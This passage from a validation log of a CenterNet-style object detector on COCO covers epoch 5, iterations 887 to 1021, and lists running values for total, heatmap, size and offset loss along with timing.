ctdet/coco_dla| val: [5][887/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9624 |hm_loss 0.6537 |wh_loss 2.6385 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][888/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9614 |hm_loss 0.6531 |wh_loss 2.6355 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][889/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9604 |hm_loss 0.6524 |wh_loss 2.6325 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][890/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9594 |hm_loss 0.6517 |wh_loss 2.6296 |off_loss 0.0447 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][891/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9583 |hm_loss 0.6510 |wh_loss 2.6266 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][892/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9573 |hm_loss 0.6504 |wh_loss 2.6237 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][893/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9563 |hm_loss 0.6497 |wh_loss 2.6208 |off_loss 0.0445 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][894/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9553 |hm_loss 0.6490 |wh_loss 2.6178 |off_loss 0.0445 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][895/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9543 |hm_loss 0.6484 |wh_loss 2.6149 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][896/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9533 |hm_loss 0.6477 |wh_loss 2.6120 |off_loss 0.0444 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][897/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9523 |hm_loss 0.6470 |wh_loss 2.6091 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][898/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9513 |hm_loss 0.6464 |wh_loss 2.6062 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][899/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9503 |hm_loss 0.6457 |wh_loss 2.6033 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][900/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9493 |hm_loss 0.6451 |wh_loss 2.6004 |off_loss 0.0442 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][901/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9483 |hm_loss 0.6444 |wh_loss 2.5975 |off_loss 0.0441 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][902/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9473 |hm_loss 0.6438 |wh_loss 2.5946 |off_loss 0.0441 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][903/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9463 |hm_loss 0.6431 |wh_loss 2.5918 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][904/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9453 |hm_loss 0.6425 |wh_loss 2.5889 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][905/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9444 |hm_loss 0.6418 |wh_loss 2.5861 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][906/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9434 |hm_loss 0.6412 |wh_loss 2.5832 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][907/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9424 |hm_loss 0.6405 |wh_loss 2.5804 |off_loss 0.0438 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][908/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9414 |hm_loss 0.6399 |wh_loss 2.5775 |off_loss 0.0438 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][909/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9405 |hm_loss 0.6392 |wh_loss 2.5747 |off_loss 0.0438 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][910/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9395 |hm_loss 0.6386 |wh_loss 2.5719 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][911/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9385 |hm_loss 0.6379 |wh_loss 2.5690 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][912/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9375 |hm_loss 0.6373 |wh_loss 2.5662 |off_loss 0.0436 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][913/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9366 |hm_loss 0.6367 |wh_loss 2.5634 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][914/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9356 |hm_loss 0.6360 |wh_loss 2.5606 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][915/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9346 |hm_loss 0.6354 |wh_loss 2.5578 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][916/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9337 |hm_loss 0.6348 |wh_loss 2.5550 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][917/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9327 |hm_loss 0.6341 |wh_loss 2.5523 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][918/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9318 |hm_loss 0.6335 |wh_loss 2.5495 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][919/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9308 |hm_loss 0.6329 |wh_loss 2.5467 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][920/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9299 |hm_loss 0.6322 |wh_loss 2.5439 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][921/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9289 |hm_loss 0.6316 |wh_loss 2.5412 |off_loss 0.0432 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][922/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9280 |hm_loss 0.6310 |wh_loss 2.5384 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][923/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9270 |hm_loss 0.6304 |wh_loss 2.5357 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][924/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9261 |hm_loss 0.6297 |wh_loss 2.5329 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][925/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9251 |hm_loss 0.6291 |wh_loss 2.5302 |off_loss 0.0430 |Data 0.011s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][926/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9242 |hm_loss 0.6285 |wh_loss 2.5275 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][927/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9233 |hm_loss 0.6279 |wh_loss 2.5248 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][928/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9223 |hm_loss 0.6273 |wh_loss 2.5220 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][929/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9214 |hm_loss 0.6266 |wh_loss 2.5193 |off_loss 0.0428 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][930/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9205 |hm_loss 0.6260 |wh_loss 2.5166 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][931/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9195 |hm_loss 0.6254 |wh_loss 2.5139 |off_loss 0.0427 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][932/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9186 |hm_loss 0.6248 |wh_loss 2.5112 |off_loss 0.0427 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][933/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9177 |hm_loss 0.6242 |wh_loss 2.5085 |off_loss 0.0426 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][934/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9167 |hm_loss 0.6236 |wh_loss 2.5058 |off_loss 0.0426 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][935/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9158 |hm_loss 0.6230 |wh_loss 2.5032 |off_loss 0.0425 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][936/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9149 |hm_loss 0.6224 |wh_loss 2.5005 |off_loss 0.0425 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][937/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9140 |hm_loss 0.6218 |wh_loss 2.4978 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][938/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9131 |hm_loss 0.6212 |wh_loss 2.4952 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][939/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9122 |hm_loss 0.6206 |wh_loss 2.4925 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][940/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9113 |hm_loss 0.6200 |wh_loss 2.4899 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][941/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9103 |hm_loss 0.6194 |wh_loss 2.4872 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][942/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9094 |hm_loss 0.6188 |wh_loss 2.4846 |off_loss 0.0422 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][943/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9085 |hm_loss 0.6182 |wh_loss 2.4820 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][944/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9076 |hm_loss 0.6176 |wh_loss 2.4793 |off_loss 0.0421 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][945/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9067 |hm_loss 0.6170 |wh_loss 2.4767 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][946/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9058 |hm_loss 0.6164 |wh_loss 2.4741 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][947/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9049 |hm_loss 0.6158 |wh_loss 2.4715 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][948/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9040 |hm_loss 0.6152 |wh_loss 2.4689 |off_loss 0.0420 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][949/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9031 |hm_loss 0.6146 |wh_loss 2.4663 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][950/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9022 |hm_loss 0.6140 |wh_loss 2.4637 |off_loss 0.0419 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][951/2110]|Tot: 0:00:20 |ETA: 0:00:00 |loss 0.9013 |hm_loss 0.6134 |wh_loss 2.4611 |off_loss 0.0418 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][952/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.9005 |hm_loss 0.6128 |wh_loss 2.4585 |off_loss 0.0418 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][953/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8996 |hm_loss 0.6122 |wh_loss 2.4559 |off_loss 0.0417 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][954/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8987 |hm_loss 0.6117 |wh_loss 2.4534 |off_loss 0.0417 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][955/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8978 |hm_loss 0.6111 |wh_loss 2.4508 |off_loss 0.0416 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][956/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8969 |hm_loss 0.6105 |wh_loss 2.4482 |off_loss 0.0416 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][957/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8960 |hm_loss 0.6099 |wh_loss 2.4457 |off_loss 0.0416 |Data 0.008s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][958/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8952 |hm_loss 0.6093 |wh_loss 2.4431 |off_loss 0.0415 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][959/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8943 |hm_loss 0.6088 |wh_loss 2.4406 |off_loss 0.0415 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][960/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8934 |hm_loss 0.6082 |wh_loss 2.4381 |off_loss 0.0414 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][961/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8925 |hm_loss 0.6076 |wh_loss 2.4355 |off_loss 0.0414 |Data 0.010s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][962/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8917 |hm_loss 0.6070 |wh_loss 2.4330 |off_loss 0.0413 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][963/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8908 |hm_loss 0.6065 |wh_loss 2.4305 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][964/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8899 |hm_loss 0.6059 |wh_loss 2.4279 |off_loss 0.0413 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][965/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8891 |hm_loss 0.6053 |wh_loss 2.4254 |off_loss 0.0412 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][966/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8882 |hm_loss 0.6047 |wh_loss 2.4229 |off_loss 0.0412 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][967/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8873 |hm_loss 0.6042 |wh_loss 2.4204 |off_loss 0.0411 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][968/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8865 |hm_loss 0.6036 |wh_loss 2.4179 |off_loss 0.0411 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][969/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8856 |hm_loss 0.6030 |wh_loss 2.4154 |off_loss 0.0410 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][970/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8848 |hm_loss 0.6025 |wh_loss 2.4129 |off_loss 0.0410 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][971/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8839 |hm_loss 0.6019 |wh_loss 2.4105 |off_loss 0.0410 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][972/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8831 |hm_loss 0.6014 |wh_loss 2.4080 |off_loss 0.0409 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][973/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8822 |hm_loss 0.6008 |wh_loss 2.4055 |off_loss 0.0409 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][974/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8814 |hm_loss 0.6002 |wh_loss 2.4030 |off_loss 0.0408 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][975/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8805 |hm_loss 0.5997 |wh_loss 2.4006 |off_loss 0.0408 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][976/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8797 |hm_loss 0.5991 |wh_loss 2.3981 |off_loss 0.0407 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][977/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8788 |hm_loss 0.5986 |wh_loss 2.3957 |off_loss 0.0407 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][978/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8780 |hm_loss 0.5980 |wh_loss 2.3932 |off_loss 0.0407 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][979/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8771 |hm_loss 0.5974 |wh_loss 2.3908 |off_loss 0.0406 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][980/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8763 |hm_loss 0.5969 |wh_loss 2.3883 |off_loss 0.0406 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][981/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8755 |hm_loss 0.5963 |wh_loss 2.3859 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][982/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8746 |hm_loss 0.5958 |wh_loss 2.3835 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][983/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8738 |hm_loss 0.5952 |wh_loss 2.3811 |off_loss 0.0405 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][984/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8730 |hm_loss 0.5947 |wh_loss 2.3786 |off_loss 0.0404 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][985/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8721 |hm_loss 0.5941 |wh_loss 2.3762 |off_loss 0.0404 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][986/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8713 |hm_loss 0.5936 |wh_loss 2.3738 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][987/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8705 |hm_loss 0.5930 |wh_loss 2.3714 |off_loss 0.0403 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][988/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8696 |hm_loss 0.5925 |wh_loss 2.3690 |off_loss 0.0403 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][989/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8688 |hm_loss 0.5919 |wh_loss 2.3666 |off_loss 0.0402 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][990/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8680 |hm_loss 0.5914 |wh_loss 2.3642 |off_loss 0.0402 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][991/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8672 |hm_loss 0.5909 |wh_loss 2.3619 |off_loss 0.0401 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][992/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8664 |hm_loss 0.5903 |wh_loss 2.3595 |off_loss 0.0401 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][993/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8655 |hm_loss 0.5898 |wh_loss 2.3571 |off_loss 0.0401 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][994/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8647 |hm_loss 0.5892 |wh_loss 2.3547 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][995/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8639 |hm_loss 0.5887 |wh_loss 2.3524 |off_loss 0.0400 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][996/2110]|Tot: 0:00:21 |ETA: 0:00:00 |loss 0.8631 |hm_loss 0.5882 |wh_loss 2.3500 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][997/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8623 |hm_loss 0.5876 |wh_loss 2.3477 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][998/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8615 |hm_loss 0.5871 |wh_loss 2.3453 |off_loss 0.0399 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][999/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8675 |hm_loss 0.5907 |wh_loss 2.3635 |off_loss 0.0404 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1000/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8741 |hm_loss 0.5945 |wh_loss 2.3902 |off_loss 0.0406 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1001/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8785 |hm_loss 0.5973 |wh_loss 2.4043 |off_loss 0.0409 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1002/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8833 |hm_loss 0.6007 |wh_loss 2.4161 |off_loss 0.0410 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1003/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8890 |hm_loss 0.6040 |wh_loss 2.4362 |off_loss 0.0414 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1004/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.8957 |hm_loss 0.6076 |wh_loss 2.4621 |off_loss 0.0418 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1005/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9026 |hm_loss 0.6112 |wh_loss 2.4920 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1006/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9088 |hm_loss 0.6148 |wh_loss 2.5167 |off_loss 0.0423 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1007/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9080 |hm_loss 0.6143 |wh_loss 2.5142 |off_loss 0.0423 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1008/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9071 |hm_loss 0.6137 |wh_loss 2.5117 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1009/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9063 |hm_loss 0.6132 |wh_loss 2.5092 |off_loss 0.0422 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1010/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9054 |hm_loss 0.6126 |wh_loss 2.5068 |off_loss 0.0421 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1011/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9105 |hm_loss 0.6157 |wh_loss 2.5246 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1012/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9162 |hm_loss 0.6192 |wh_loss 2.5447 |off_loss 0.0424 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1013/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9210 |hm_loss 0.6229 |wh_loss 2.5566 |off_loss 0.0424 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1014/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9265 |hm_loss 0.6266 |wh_loss 2.5702 |off_loss 0.0429 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1015/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9332 |hm_loss 0.6303 |wh_loss 2.5944 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1016/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9408 |hm_loss 0.6340 |wh_loss 2.6288 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1017/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9399 |hm_loss 0.6335 |wh_loss 2.6262 |off_loss 0.0438 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1018/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9390 |hm_loss 0.6329 |wh_loss 2.6236 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1019/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9382 |hm_loss 0.6323 |wh_loss 2.6210 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1020/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9373 |hm_loss 0.6317 |wh_loss 2.6185 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1021/2110]|Tot: 0:00:22 |ETA: 0:00:00 |loss 0.9414 |hm_loss 0.6345 |wh_loss 2.6311 |off_loss 0.0438 |Data 0.000s(0.001s) 